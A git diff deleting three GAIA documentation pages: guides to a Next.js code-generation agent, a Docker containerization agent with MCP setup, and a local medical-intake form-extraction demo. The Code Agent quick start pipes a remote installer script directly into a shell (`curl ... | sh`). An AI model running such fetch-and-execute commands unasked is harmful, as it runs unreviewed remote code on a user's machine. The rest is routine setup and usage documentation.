embedding_model="user.embeddinggemma-300m-GGUF")) +sdk.index_repository() ``` The 51-minute figure is **network-bound** (embeddings sent to a remote Lemonade Server over an ngrok tunnel). On a local Ryzen AI setup the embedding step runs on the NPU and is substantially faster. For retrieval-quality metrics see [#868](https://github.com/amd/gaia/issues/868). diff --git a/docs/guides/code.mdx b/docs/guides/code.mdx deleted file mode 100644 index 38a086d79..000000000 --- a/docs/guides/code.mdx +++ /dev/null @@ -1,477 +0,0 @@ ---- -title: "Code Agent" -description: "AI-powered full-stack Next.js application generation with TypeScript, Prisma, and Tailwind" -icon: "code" ---- - - - **Source Code:** [`hub/agents/code/python/gaia_agent_code/agent.py`](https://github.com/amd/gaia/blob/main/hub/agents/code/python/gaia_agent_code/agent.py) · [`hub/agents/code/python/gaia_agent_code/tools/`](https://github.com/amd/gaia/tree/main/hub/agents/code/python/gaia_agent_code/tools) - - - - - - The Code Agent is optimized for full-stack TypeScript web apps (Next.js + Prisma + Tailwind), but Python code generation remains fully supported (and is the default for non-TypeScript requests). - - - - **First time here?** Complete the [Setup](/setup) guide first to install GAIA and its dependencies. - - -The GAIA Code Agent turns a natural-language prompt into a working Next.js application. It designs the data model, builds Prisma schemas, generates REST API routes with Zod validation, creates React pages, applies Tailwind styling, validates TypeScript, and iterates until the app builds successfully. - - - End-to-end generation and auto-debugging for a full-stack app usually takes 10–20 minutes. Timing depends on how much context is created and how many debugging loops are needed. We prioritize output quality while continuously improving speed, and contributions that enhance either are welcome in the [GAIA repository](https://github.com/amd/gaia). - - -## Key Features - - - - Next.js apps with API routes, React pages, and Tailwind styling - - - - SQLite schemas with autogenerated IDs and timestamps - - - - REST endpoints with Zod validation and clear error responses - - - - React components for list, create, and detail flows with TypeScript types - - - - TypeScript checks, Next.js builds, and auto-fix loops until green - - - - Step-through, traces, and background process management for long runs - - - -## Quick Start - -**Prerequisite:** Install Node.js v20.19.x -- Download from [nodejs.org](https://nodejs.org/en/download) (Windows Installer for v20.19.x LTS) -- Verify installation: `node --version` (should show v20.19.x) -- Node.js is required to build and run the web application that the GAIA Code Agent generates. - - - - ```bash - git clone https://github.com/amd/gaia.git - cd gaia - ``` - - - - ```bash - curl -LsSf https://astral.sh/uv/install.sh | sh - uv venv .venv --python 3.12 - source .venv/bin/activate - uv pip install -e ".[dev]" - ``` - - - - ```bash - lemonade-server serve --ctx-size 32768 - ``` - - - - ```bash - gaia-code "Build me a movie tracking app in nextjs where I can track the movie title, genre, date watched, and a score out of 10" --path movie-web-app - ``` - - - - ```bash - cd movie-web-app - npm run dev - ``` - The app serves at http://localhost:3000 - - - -### Basic Examples - - - - ```bash - gaia-code "Build me a workout tracking app in nextjs where I can track workout, duration, date, and goal" - ``` - - - - ```bash - gaia-code "Build me a restaurant rating application in nextjs. I want to be able to put the location of the restaurant, the food that I ate, and my review" - ``` - - - - ```bash - gaia-code "Build me an AI tool rater in nextjs where I can give the name of the AI programming tool, give it a score out of 10 for speed and quality in a text box, as well as provide a description. Show a little leaderboard that will show the highest performing to lowest performing tools by averaging those scores." - ``` - - - - ```bash - gaia-code "Build me a todo tracking app using typescript" - ``` - - - - ```bash - gaia-code --interactive - # then type your prompt when prompted - ``` - - - -## Next.js Full-Stack App Generation - -The Code Agent outputs a complete Next.js project with Prisma, Zod, and Tailwind baked in. - -``` -your-app/ -├── prisma/ -│ └── schema.prisma # SQLite models with IDs and timestamps -├── src/ -│ ├── app/ -│ │ ├── api/ -│ │ │ └── [resource]/ -│ │ │ ├── route.ts # GET, POST -│ │ │ └── [id]/route.ts # GET, PUT, DELETE -│ │ ├── [resource]/ -│ │ │ ├── page.tsx # List view -│ │ │ ├── new/page.tsx # Create form -│ │ │ └── [id]/page.tsx # Detail view -│ │ ├── layout.tsx # Root layout -│ │ ├── page.tsx # Landing page with navigation -│ │ └── globals.css # Tailwind styles -│ └── lib/ -│ └── prisma.ts # Prisma client bootstrap -├── package.json -├── tsconfig.json -├── tailwind.config.ts -└── next.config.js -``` - -**Stack defaults:** -- Next.js with the App Router -- TypeScript + strict typing -- Prisma ORM with SQLite -- REST API routes validated with Zod -- Tailwind CSS styling for layouts, forms, and states - -## Debug and Trace Options - - - - ```bash - gaia-code "Create a todo tracking app in nextjs" --debug - ``` - See internal decision logs - - - - ```bash - gaia-code "Create a todo tracking app in nextjs" --trace - ``` - Save detailed execution trace - - - - ```bash - gaia-code "Create a todo tracking app in nextjs" --debug --trace - ``` - Maximum debugging information - - - -### JSON Output Structure - -The `--trace` flag saves a complete trace with detailed information: - -```json title="trace_output.json" -{ - "status": "success", - "result": "Final answer from agent", - "system_prompt": "Complete system prompt used", - "conversation": [ - {"role": "user", "content": "User's query"}, - {"role": "assistant", "content": {"thought": "...", "tool": "...", "tool_args": {...}}}, - {"role": "system", "content": {...}} - ], - "steps_taken": 28, - "duration": 123.45, - "total_input_tokens": 15000, - "total_output_tokens": 8000, - "output_file": "/absolute/path/to/output.json" -} -``` - -## API & VSCode Integration - - - The Code Agent is available through the GAIA API Server as the `gaia-code` model, providing an OpenAI-compatible REST API for IDEs and automation. - - -### Quick Start - - - - ```bash - lemonade-server serve --ctx-size 32768 - ``` - - - - ```bash - uv pip install -e ".[api]" - ``` - - - - ```bash - uv run gaia api start - ``` - - - - - - ```bash - curl -X POST http://localhost:8080/v1/chat/completions \ - -H "Content-Type: application/json" \ - -d '{ - "model": "gaia-code", - "messages": [{"role": "user", "content": "Build me a movie tracking app in nextjs"}] - }' - ``` - - - - ```powershell - $body = @{ - model = "gaia-code" - messages = @( - @{ - role = "user" - content = "Build me a movie tracking app in nextjs" - } - ) - } | ConvertTo-Json -Depth 10 - - Invoke-RestMethod -Uri "http://localhost:8080/v1/chat/completions" ` - -Method Post ` - -ContentType "application/json" ` - -Body $body - ``` - - - - - -### API Highlights - -- **OpenAI Compatible**: Works with OpenAI clients and compatible tooling -- **Streaming Support**: Real-time updates while generating -- **Multi-Turn**: Maintain context across requests - - - - - - REST examples and usage - - - -## Workflow Capabilities - - - - Interpret the prompt and determine the minimum viable schema - - - - Create models with IDs, timestamps, and inferred field types - - - - Scaffold REST endpoints with Zod validation for CRUD operations - - - - Generate list, creation, and detail pages wired to the APIs - - - - Add Tailwind-powered layouts, forms, and state handling - - - - Run TypeScript checks and Next.js build; collect any errors - - - - Apply targeted fixes and re-run validation/build until clean - - - -## Available Tools - - - - - `run_cli_command` - Execute npm/yarn commands and capture output - - `cleanup_all_processes` / `stop_process` / `list_processes` - Manage background runs - - - - - `manage_data_model` - Create or update Prisma models - - `manage_api_endpoint` - Generate REST routes with Zod validation - - `validate_crud_structure` - Ensure CRUD files exist for each resource - - - - - `manage_react_component` - Generate list, form, detail React pages - - `setup_app_styling` - Apply Tailwind design system and globals - - `update_landing_page` - Wire navigation and landing content - - - - - `validate_typescript` - Run TypeScript compiler checks - - `test_crud_api` - Smoke-test CRUD endpoints - - `validate_styles` - Check CSS and design consistency - - - - - `fix_code` - LLM-driven targeted file fix for validation/build errors (used in remediation checklists) - - - - - `setup_prisma` - Initialize Prisma and database config - - `setup_nextjs_testing` - Configure Vitest where needed - - - -### Tools that ask before running - -Shell and file-mutating tools — `run_cli_command`, `write_file`, `edit_file` and the -rest of GAIA's confirmation set — prompt for approval before they execute. In the -Agent UI that's a permission dialog; on the CLI they run straight through. - -Declining cancels the step and stops the run: the agent reports which tool was -refused rather than re-planning and asking again. Approve it on a re-run, or reword -the request so it doesn't need that tool. - -## External Information Lookup - -The agent can optionally use web search (Perplexity) when `PERPLEXITY_API_KEY` is set in `.env` to unblock documentation or best-practice questions. - -## Troubleshooting - - - - ``` - ❌ Error: Lemonade server is not running or not accessible. - ``` - Start the server with: - ```bash - lemonade-server serve --ctx-size 32768 - ``` - - - - - Ensure dependencies are installed: `npm install` - - Regenerate Prisma client: `npx prisma generate` - - Push schema: `npx prisma db push` - - Re-run the agent with `--debug --trace` to inspect fixes - - - - - Occasionally the agent can loop on a minor issue; try rerunning the command - - If it persists, update the prompt to call out the failing component or file - - - - - Check `prisma/schema.prisma` for typos - - Delete `node_modules` and reinstall - - Verify `DATABASE_URL` (if using a custom provider) - - - - - Stop existing dev servers or run `npm run dev -- --port 3001` - - - -## VS Code Debugging (Developers) - -Use the existing launch configurations to step through the agent when it generates Next.js projects. - - - 1. **Code Agent Debug - Next.js App** - Full project generation workflow - 2. **Code Agent Debug - REST API** - Focus on API route generation - 3. **Code Agent Debug - Interactive** - Step through with `--step-through` - 4. **Code Agent Debug - With Breakpoint** ⭐ - Stops before execution for setting breakpoints - - -**Useful breakpoint locations:** -- `hub/agents/code/python/gaia_agent_code/agent.py` - Agent initialization and orchestration -- `hub/agents/code/python/gaia_agent_code/tools/typescript_tools.py` - TypeScript/Next.js tooling -- `hub/agents/code/python/gaia_agent_code/orchestration/checklist_executor.py` - Full-stack checklist workflow -- `src/gaia/agents/base/agent.py` - Base agent loop - -## Best Practices - - - - Include required fields and relationships in the prompt to shape the Prisma schema - - - - After generation, just `cd ` and run `npm run dev` (the agent installs dependencies for you) - - - - Inspect API validation, UI flows, and database types before deploying - - - - Start with the MVP output, then rerun the agent with refined prompts to add features - - - -## Next Steps - - - - - - Integrate via OpenAI-compatible API - - - - Deep dive into how the Code Agent builds Next.js apps - - - - Explore all GAIA capabilities - - - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - diff --git a/docs/guides/docker.mdx b/docs/guides/docker.mdx deleted file mode 100644 index 87c970680..000000000 --- a/docs/guides/docker.mdx +++ /dev/null @@ -1,440 +0,0 @@ ---- -title: "Docker Agent" -description: "Containerize applications with natural-language commands — no Docker expertise required." -icon: "docker" ---- - - - **Source Code:** [`hub/agents/docker/python/gaia_agent_docker/agent.py`](https://github.com/amd/gaia/blob/main/hub/agents/docker/python/gaia_agent_docker/agent.py) · [`src/gaia/apps/docker/app.py`](https://github.com/amd/gaia/blob/main/src/gaia/apps/docker/app.py) - - -## Overview - -The GAIA Docker Agent provides a natural language interface for containerizing applications. The agent analyzes your application structure, generates appropriate Dockerfiles, and provides guidance for building and running containers - all through conversational commands. No Docker expertise required. - -> **First time here?** Complete the [Setup](/setup) guide first to install GAIA and its dependencies. - -## Quick Start - -### Prerequisites - -1. **Docker Installation** (Required): - Docker Engine or Desktop: Download from [docker.com](https://www.docker.com/) - -2. **GAIA Installation**: - Follow the [Setup](/setup) guide, then install with MCP extras: - - ```bash - uv pip install "amd-gaia[mcp]" - ``` - -3. **Download Required Model**: - The Docker agent uses the `Gemma-4-E4B-it-GGUF` model for reliable Dockerfile generation and application analysis. - - Use the Lemonade server's model manager to download it: - 1. Start Lemonade server at the GPU/CPU profile context size: `lemonade-server serve --ctx-size 65536` - 2. Open the model manager in your browser (typically http://localhost:13305) - 3. Search for and download: `Gemma-4-E4B-it-GGUF` - - Note: The download is about 5.6 GB (a 4.6 GB Q4_K_M weights file plus a 0.9 GB vision projector). It provides excellent results for Dockerfile generation and application analysis. - - **Important**: GAIA pins one context window per device profile — 65536 on GPU/CPU, 32768 on NPU — so every agent shares a single resident `(model, ctx_size)` pair and switching agents never forces a reload. Starting Lemonade below the profile size makes GAIA reload the model at the larger window on first use. For more details on Lemonade Server CLI options, see the [Lemonade Server documentation](https://lemonade-server.ai/docs/guide/cli/#options-for-run). - -### Verify Installation - -Check Docker is installed: - -```bash -docker --version -``` - -Check that GAIA is installed correctly: - -```bash -gaia --version -``` - -Test Docker agent with a Flask application: - -```bash -gaia docker "create a Dockerfile for my app" -d ./app -``` - -### Basic Usage - -Generate Dockerfile for your application: - -```bash -gaia docker "create a Dockerfile for my application" -d ./app -``` - -Create Dockerfile, build, and run the container: - -```bash -gaia docker "create a Dockerfile for my application and then build and run the container" -d ./app -``` - -## Architecture Overview - -### Key Components - -1. **DockerAgent** (`hub/agents/docker/python/gaia_agent_docker/agent.py`) - - - Core agent that processes natural language queries - - Analyzes application structure and dependencies - - Uses LLM to generate appropriate Dockerfiles - - Registers four main tools: `analyze_directory`, `save_dockerfile`, `build_image`, `run_container` - -2. **DockerApp** (`src/gaia/apps/docker/app.py`) - - - Application wrapper for the DockerAgent - - Provides CLI interface and user interaction - - Formats output for user display - - Displays next steps after Dockerfile generation - -3. **GAIA Docker CLI** (`gaia docker` command) - - - Easy command-line interface for Docker operations - - Supports natural language queries with directory context - - Automatically manages agent lifecycle - - No coding required - just describe what you need - -### How It Works - -1. **Directory Analysis**: Scans application structure, detects frameworks, identifies dependencies -2. **Context Building**: Creates detailed application context for the LLM -3. **Natural Language Processing**: LLM interprets user intent and requirements -4. **Dockerfile Generation**: Creates appropriate Dockerfile with best practices -5. **Next Steps Guidance**: Provides build and run commands - -## Usage Examples - -### Natural Language Commands - - -```bash Basic -gaia docker "create a Dockerfile for my application" -d ./app -``` - -```bash Windows Path -gaia docker "create a Dockerfile for my application" -d "C:\Users\user\src\test\netscan" -``` - -```bash Framework-Specific -gaia docker "containerize this Flask app with gunicorn" -d ./flask-app -``` - -```bash Full Workflow -gaia docker "create a Dockerfile for my application and then build and run the container" -d "C:\Users\user\src\test\netscan" -``` - -```bash Python Version -gaia docker "create Dockerfile with Python 3.11" -d ./project -``` - - -The `command` parameter accepts natural language instructions. The agent can: -- Create just a Dockerfile (analyzes app, generates and saves Dockerfile) -- Build the Docker image (if you ask it to build) -- Run the container (if you ask it to run) -- Or do all three steps in sequence - -## GitHub Copilot Integration - -Use GAIA Docker directly within GitHub Copilot for seamless containerization assistance in your IDE. - -### Prerequisites - -1. **Start Lemonade Server with Extended Context**: - ```bash - lemonade-server serve --ctx-size 65536 - ``` - Note: The extended context size is required for handling complex Docker queries through Copilot. - -2. **Start GAIA MCP Bridge**: - ```bash - gaia mcp start --port 8080 - ``` - -3. **Configure VSCode MCP Settings**: - - Add to your VSCode `mcp.json` (typically in `.vscode/mcp.json`): - ```json - { - "servers": { - "gaia-docker": { - "url": "http://localhost:8080/mcp", - "type": "http" - } - }, - "inputs": [] - } - ``` - -4. **Restart VSCode** to load the MCP configuration - -### Usage with Copilot - -Once configured, you can reference GAIA Docker in your Copilot prompts using `#gaia-docker`: - -``` -# Ask Copilot to containerize your application in as simple as -"use #gaia-docker with my app" -``` - -Copilot will communicate with the GAIA Docker agent through MCP, analyzing your project and generating appropriate Dockerfile configurations. The agent has full context of your application structure and can provide intelligent recommendations. - -### Workflow - -1. **MCP Bridge**: Acts as the intermediary between VSCode/Copilot and GAIA agents -2. **Context Awareness**: The agent can access your project files and dependencies -3. **Interactive Generation**: Copilot presents the Dockerfile and next steps inline -4. **Iterative Refinement**: Continue the conversation to adjust the Dockerfile as needed - -For more details on the MCP bridge, see [MCP Documentation](/integrations/mcp). - -## Integration Methods - -### 1. Python API (Direct Integration) - -```python -from gaia_agent_docker.agent import DockerAgent - -# Initialize and execute -agent = DockerAgent(model_id="Gemma-4-E4B-it-GGUF", silent_mode=True) -result = agent.process_query("create a Dockerfile for my Flask app in directory: ./app") - -if result['status'] == 'success': - print(f"Steps taken: {result['steps_taken']}") - # Extract Dockerfile content from conversation - for msg in result.get('conversation', []): - if msg.get('role') == 'system' and 'dockerfile_content' in msg.get('content', {}): - print("Dockerfile generated successfully") -``` - -### 2. MCP Server (HTTP/JSON-RPC Integration) - -GAIA's MCP support is powered by **[FastMCP](https://github.com/modelcontextprotocol/python-sdk)** from the Model Context Protocol Python SDK. The server uses FastMCP's "streamable-http" transport, providing both HTTP POST and SSE streaming at the `/mcp` endpoint. - -**Start the Docker MCP Server:** -```bash -gaia mcp docker --port 8080 -``` - -The server supports JSON-RPC interface and works with GitHub Copilot, Claude Desktop, and other MCP clients. - -**Current MCP Limitations:** -- The MCP interface currently performs the complete workflow: analyze → create Dockerfile → build image → run container -- This is ideal for automation tools that need full containerization in a single operation -- Future versions will support more granular control (e.g., just creating Dockerfile without building) -- For granular control now, use the CLI interface which supports individual operations - -**JSON-RPC Request Format:** -```json -{ - "jsonrpc": "2.0", - "id": "1", - "method": "tools/call", - "params": { - "name": "gaia.docker", - "arguments": { - "query": "create a Dockerfile for this application", - "directory": "./app" - } - } -} -``` - -Works with any HTTP client (JavaScript/fetch, Python/requests, cURL, etc.). - -For detailed MCP integration examples, see: -- **[MCP Documentation](/integrations/mcp)** - Complete MCP bridge reference -- **[n8n Integration Guide](/integrations/n8n)** - Workflow automation examples - -## Key Features - -### Automatic Application Analysis - -The agent automatically detects: -- Framework identification (Flask, Django, FastAPI, etc.) -- Python version requirements -- Dependencies from requirements.txt or pyproject.toml -- Application structure and entry points -- Port requirements for web applications - -### Intelligent Dockerfile Generation - -The agent generates Dockerfiles that include: -- Appropriate base images (Python official images) -- Dependency installation (pip install from requirements.txt) -- Working directory setup -- Application file copying -- Port exposure for web apps -- Runtime commands (ENTRYPOINT or CMD) -- Best practices (non-root user, layer optimization) - -### Multi-Step Workflow - -The agent orchestrates a complete containerization workflow: -1. **Analyze**: Scan application directory and identify structure -2. **Generate**: Create appropriate Dockerfile -3. **Validate**: Check Dockerfile syntax and completeness -4. **Guidance**: Provide next steps for build and run - -### Next Steps Guidance - -After Dockerfile generation, the agent provides: -- Build command with appropriate image tag -- Run command with port mappings and necessary flags -- Contextual tips based on application type - -## Command Reference - -### Basic Command Structure - -```bash -gaia docker "command" [OPTIONS] -``` - -The `command` is a natural language instruction that tells the agent what Docker operations to perform (e.g., "create a Dockerfile", "build and run my app"). - -### Available Options - -| Option | Type | Default | Description | -|--------|------|---------|-------------| -| `command` | string | Required | Natural language instruction (positional argument). Can request Dockerfile creation, building, running, or all three. | -| `-d`, `--directory` | string | `.` | Directory containing the application to containerize | -| `-v`, `--verbose` | flag | - | Enable verbose output | -| `--debug` | flag | - | Enable debug logging | -| `--model` | string | `Gemma-4-E4B-it-GGUF` | LLM model to use | - -## Troubleshooting - -### Common Issues and Solutions - -#### "Docker Not Installed" - -Check Docker installation: - -```bash -docker --version -``` - -If not installed, download from [docker.com](https://www.docker.com/). - -#### "Lemonade Server Not Running" - -Start the Lemonade server: - -```bash -lemonade-server serve -``` - -Verify it's running: - -```bash -curl http://localhost:13305/health -``` - -#### "No Dockerfile Generated" - -If the agent doesn't generate a Dockerfile: -1. Check that your application has identifiable structure (e.g., requirements.txt, app.py) -2. Ensure the Lemonade server is running -3. Try a more specific query describing your application type -4. Check the agent logs for error messages - -#### "Model Not Found" - -Verify the Gemma 4 E4B model is downloaded: - -1. Open Lemonade UI: http://localhost:13305 -2. Check Models section for Gemma-4-E4B-it-GGUF - -#### MCP Integration Issues - -Check if MCP bridge is running: - -```bash -gaia mcp status -``` - -Restart the bridge if needed: - -```bash -gaia mcp stop -``` - -```bash -gaia mcp start -``` - -### Debug Mode - -For detailed troubleshooting, check the agent logs. - -Logs are written to gaia.log: - -```bash -tail -f gaia.log -``` - -MCP logs (if using MCP bridge): - -```bash -tail -f gaia.mcp.log -``` - -## Best Practices - -1. **Organize Application**: Include requirements.txt/pyproject.toml, clear entry point (app.py), logical structure -2. **Review Output**: Verify base image, dependencies, ports, and runtime commands before building -3. **Test Incrementally**: Generate → Review → Build → Test container in sequence -4. **Use Natural Language**: When using GitHub Copilot integration, simple queries like `"use #gaia-docker with my app"` work well - -## Limitations - -Current limitations of the Docker agent: - -- **Single-language support**: Primarily focused on Python applications -- **Simple configurations**: Best for straightforward containerization scenarios -- **No multi-stage builds**: Generated Dockerfiles use single-stage builds -- **Limited customization**: Advanced Docker features may require manual editing -- **No docker-compose**: Does not generate docker-compose.yml files - -## Testing Your Integration - -**Quick Python Test:** -```python -from gaia_agent_docker.agent import DockerAgent - -agent = DockerAgent(silent_mode=True) -result = agent.process_query("create a Dockerfile for Flask app in: ./app") -print("✅ Success!" if result['status'] == 'success' else "❌ Failed") -``` - -**MCP Test:** - -```bash -gaia mcp start && python tests/mcp/test_mcp_docker.py -``` - -## See Also - -- [GAIA CLI Documentation](/reference/cli) - Full command line interface guide -- [MCP Server Documentation](/integrations/mcp) - External integration details -- [Jira Agent Documentation](/guides/jira) - Natural language Jira operations -- [Blender Agent Documentation](/guides/blender) - 3D content creation -- [Features Overview](/reference/features) - Complete GAIA capabilities - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - diff --git a/docs/guides/emr.mdx b/docs/guides/emr.mdx deleted file mode 100644 index e730fbef7..000000000 --- a/docs/guides/emr.mdx +++ /dev/null @@ -1,464 +0,0 @@ ---- -title: "Medical Intake Agent" -description: "Automate patient intake form processing with VLM extraction and local database storage" -icon: "hospital" ---- - - - **Source Code:** [`hub/agents/emr/python/`](https://github.com/amd/gaia/tree/main/hub/agents/emr/python) · [`hub/agents/emr/python/gaia_agent_emr/dashboard/`](https://github.com/amd/gaia/tree/main/hub/agents/emr/python/gaia_agent_emr/dashboard) - - - - **Demonstration Application:** This is a proof-of-concept demo showcasing AMD Ryzen AI capabilities. Not intended for production use with real patient data. Do not use with actual PHI (Protected Health Information). - - -The GAIA Medical Intake Agent demonstrates automated patient intake form processing using Vision Language Models (VLM). Drop a scanned intake form into the watch folder, and within seconds the agent extracts patient demographics, insurance information, medical history, and more—storing everything in a searchable SQLite database. - -All processing happens **100% locally** on AMD Ryzen AI hardware. No cloud APIs, no data leaving your machine—critical for healthcare scenarios where patient privacy is paramount. The agent includes a real-time dashboard for monitoring processing status, viewing patient records, and querying the database using natural language. - - - **Want to learn how it works?** See the [EMR Agent Playbook](/playbooks/emr-agent/part-1-getting-started) for a step-by-step guide to building this agent from scratch. - - -## How It Works - -The EMR agent combines three AI models in a sophisticated pipeline that runs entirely on your local hardware: - -```mermaid -%%{init: {'theme':'base', 'themeVariables': { 'primaryColor':'#E2A33E', 'primaryTextColor':'#1a1a1a', 'primaryBorderColor':'#A87B2D', 'lineColor':'#A87B2D', 'edgeLabelBackground':'#ffffff', 'fontFamily':'system-ui, -apple-system, sans-serif'}}}%% -flowchart TD - A[/"Intake Form"/] --> B(["VLM Extraction"]) - B --> C(["LLM Validation"]) - C --> D[("SQLite Database")] - D --> E[/"Dashboard & Queries"/] - - style A fill:#f8f9fa,stroke:#dee2e6,stroke-width:2px,color:#495057 - style B fill:#E2A33E,stroke:#A87B2D,stroke-width:2px,color:#1a1a1a - style C fill:#EFC480,stroke:#E2A33E,stroke-width:2px,color:#1a1a1a - style D fill:#6c757d,stroke:#495057,stroke-width:2px,color:#fff - style E fill:#28a745,stroke:#1e7e34,stroke-width:2px,color:#fff - - linkStyle 0,1,2,3 stroke:#E2A33E,stroke-width:2px -``` - -1. **Vision Language Model (VLM)** - The Gemma-4-E4B-it model "sees" the intake form image and extracts text using a carefully crafted prompt that guides it to identify specific fields (name, DOB, allergies, medications, etc.). Unlike traditional OCR, the VLM understands context—it knows that "DOB" means date of birth and can handle handwritten entries, checkboxes, and varied form layouts. - -2. **LLM Validation & Querying** - The Qwen3.5-35B-A3B-GGUF model (a Mixture-of-Experts architecture that activates only 3B parameters per inference) validates extracted data, handles natural language queries, and generates SQL to search the patient database. When you ask "Which patients have penicillin allergies?", the LLM translates this to proper SQL. - -3. **Embedding Model** - The `user.embeddinggemma-300m-GGUF` (EmbeddingGemma 300M) model creates vector embeddings for semantic similarity search, enabling fuzzy matching when looking up returning patients or finding related records. - - - **Why Local Matters:** Running on-device with AMD Ryzen AI means sub-second inference latency, no per-request API costs, and complete data sovereignty. A typical intake form processes in 10-15 seconds on AMD Ryzen AI MAX+ hardware. - - -## Key Features - -- **Automatic file watching** - Monitors a directory for new intake forms -- **Drag-and-drop upload** - Drop files directly into the Watch Folder panel -- **VLM-powered extraction** - Uses Gemma-4-E4B-it for OCR and data extraction -- **Local database storage** - SQLite with full patient record schema -- **New/returning detection** - Identifies returning patients and flags changes -- **Critical alerts** - Automatic alerts for allergies and missing fields -- **Web dashboard** - Real-time monitoring with SSE updates -- **Cumulative efficiency metrics** - Track total time saved across all processed forms - -## Required Models - -The EMR agent uses three models, downloaded automatically on first run via `gaia-emr init`: - -| Model | Size | Purpose | -|-------|------|---------| -| Qwen3.5-35B-A3B-GGUF | 18.6 GB | LLM for chat queries and patient search | -| Gemma-4-E4B-it-GGUF | ~3 GB | Vision language model for form extraction | -| user.embeddinggemma-300m-GGUF | ~334 MB | Embedding model for similarity search | - - - **Disk Space:** Ensure you have at least 25 GB of free disk space for model downloads. - - -## Prerequisites - -Complete the [Setup](/setup) guide first to install Lemonade Server and `uv`. Then install GAIA with the EMR extras in a Python 3.12 virtual environment. - - - - ```powershell - uv venv .venv --python 3.12 - .\.venv\Scripts\Activate.ps1 - uv pip install "amd-gaia[api,rag]" - gaia-emr --help - ``` - - - If activation fails with a script execution error, run once: - `Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser`, then retry. - - - - - ```bash - uv venv .venv --python 3.12 - source .venv/bin/activate - uv pip install "amd-gaia[api,rag]" - gaia-emr --help - ``` - - - - For contributors. Clone the repo and install in editable mode (changes take effect without reinstalling): - - ```bash - git clone https://github.com/amd/gaia.git - cd gaia - uv venv .venv --python 3.12 - source .venv/bin/activate # Windows: .\.venv\Scripts\Activate.ps1 - uv pip install -e ".[dev,api,rag]" - gaia-emr --help - ``` - - - - - The `api` extra provides FastAPI and uvicorn for the web dashboard; the `rag` extra provides PyMuPDF for PDF processing. `uv` downloads Python 3.12 automatically if it isn't already installed. - - - - **Having issues?** Check the [Troubleshooting](/reference/troubleshooting) guide, [create an issue](https://github.com/amd/gaia/issues) on GitHub, or contact us at gaia@amd.com. - - ---- - -## Quick Start - -### Step 1: Initialize (First Time Only) - -Download and load all required models before first use: - -```bash -gaia-emr init -``` - -This command: -- Checks Lemonade server is running and context size is configured -- Downloads and loads all required models: - - **VLM**: Gemma-4-E4B-it-GGUF (form extraction) - - **LLM**: Qwen3.5-35B-A3B-GGUF (chat/query processing) - - **Embedding**: user.embeddinggemma-300m-GGUF (similarity search) -- Verifies all models are loaded and ready - - - **Context Size:** For best results, set Lemonade context size to 32768. Right-click the Lemonade tray icon → Settings → Context Size → 32768. - - - - **Partial Success:** If the LLM fails to download but VLM succeeds, form extraction will still work. Chat queries and natural language patient search require the LLM. Run `gaia-emr init` again to retry failed downloads. - - -### Step 2: Launch - - - - ### Download sample forms - - [Download sample intake forms from GitHub](https://github.com/amd/gaia/tree/main/hub/agents/emr/python) and save them to a local directory (e.g., `./intake-forms/`). - - - **Dev Install:** See the EMR agent source at `hub/agents/emr/python/` for sample forms and configuration. - - - ### Start watching for forms - - ```bash - gaia-emr watch --watch-dir ./intake-forms - ``` - - The agent will process the sample forms and display extracted patient data. - - - ``` - +-----------------------------------+ - | Medical Intake Agent | - | Automatic Patient Form Processing | - +-----------------------------------+ - Watch folder: ./intake-forms - Database: ./data/patients.db - - File Size Hash Status - -------------- -------- ------------ ------ - IMG_2992.jpg 1.7 MB eaabe23e... new - IMG_2993.jpg 887.6 KB 03f2391e... new - IMG_2995.jpg 2.3 MB 348071a9... new - IMG_2996.jpg 2.1 MB 7a73ea84... new - - Processing Pipeline (7 steps) - File: IMG_2992.jpg - [5/7] Extracting patient data - VLM extracting from image... - Extracted 1844 chars in 14.12s - Pipeline complete in 14.3s -> Alice Williams - - Extracted Fields - Identity - first_name Alice - last_name Williams - date_of_birth 1980-04-04 - Contact - phone (411) 413-1234 - email alice.williams@hotmail.com - Insurance - insurance_provider Medicaid Demo - ... - - 34 fields extracted - ``` - - - ### Query patients - - Once processing completes, you can query the database using natural language. The agent uses tool calling to translate your questions into SQL queries and retrieve results from the SQLite database. - - ``` - Which patients have allergies? - ``` - ``` - Show me all patients processed today - ``` - ``` - Summarize today's intake forms - ``` - - Type `quit` or press `Ctrl+C` to stop. - - ### CLI Commands Reference - - - ```bash init - gaia-emr init - ``` - - ```bash watch - gaia-emr watch --watch-dir ./forms - ``` - - ```bash dashboard - gaia-emr dashboard - ``` - - ```bash query - gaia-emr query "patients with allergies" - ``` - - ```bash reset - gaia-emr reset - ``` - - ```bash help - gaia-emr -h - ``` - - - | Command | Description | - |---------|-------------| - | `init` | Download all required models (VLM, LLM, embedding) | - | `watch` | Watch folder and process forms | - | `process` | Process a single form file and exit | - | `dashboard` | Launch web dashboard (Electron or browser) | - | `query` | One-shot database query | - | `stats` | Print database statistics (patient count, file counts, etc.) | - | `reset` | Delete database and start fresh | - | `test` | Run end-to-end self-test against bundled samples | - | `-h` | Full command reference | - - - - The recommended way to use the EMR Dashboard is via the native Electron desktop app. - - ### Launch the desktop app - - ```bash - gaia-emr dashboard - ``` - - The dashboard opens automatically in a native desktop window. - - - First run will install Electron dependencies automatically. The default database is `./data/patients.db`. - - - ### Add intake forms - - Drag and drop intake form images or PDFs directly onto the **Watch Folder** panel in the dashboard. The agent will process them automatically. - - - [Download sample intake forms from GitHub](https://github.com/amd/gaia/tree/main/hub/agents/emr/python) to test the agent. - - - - If you installed from source (Windows/Linux Dev tabs), you need to build the frontend first: - - ```bash - cd hub/agents/emr/python/gaia_agent_emr/dashboard/frontend - ``` - ```bash - npm install - ``` - ```bash - npm run build - ``` - - Then return to the repository root: - - ```bash - cd ../../../../../.. - ``` - - - ### Dashboard Features - - The dashboard includes four main views: - - - **Dashboard** - Real-time stats, cumulative efficiency metrics, and live processing feed - - **Patient Database** - Searchable patient list with detailed records - - **Chat** - Natural language queries about patients - - **Settings** - Configure watch directory, upload files, and manage database - - **Watch Folder Panel:** The left column displays a Watch Folder panel with status indicators: - - **Green dot** - Processed files - - **Red flashing dot** - Currently processing - - **Orange dot** - Queued for processing - - **Drag-and-Drop:** Drop intake form images or PDFs directly onto the Watch Folder panel to upload and process them instantly. - - ### Command Options - - - ```bash default - gaia-emr dashboard - ``` - - ```bash --watch-dir - gaia-emr dashboard --watch-dir /path/to/forms - 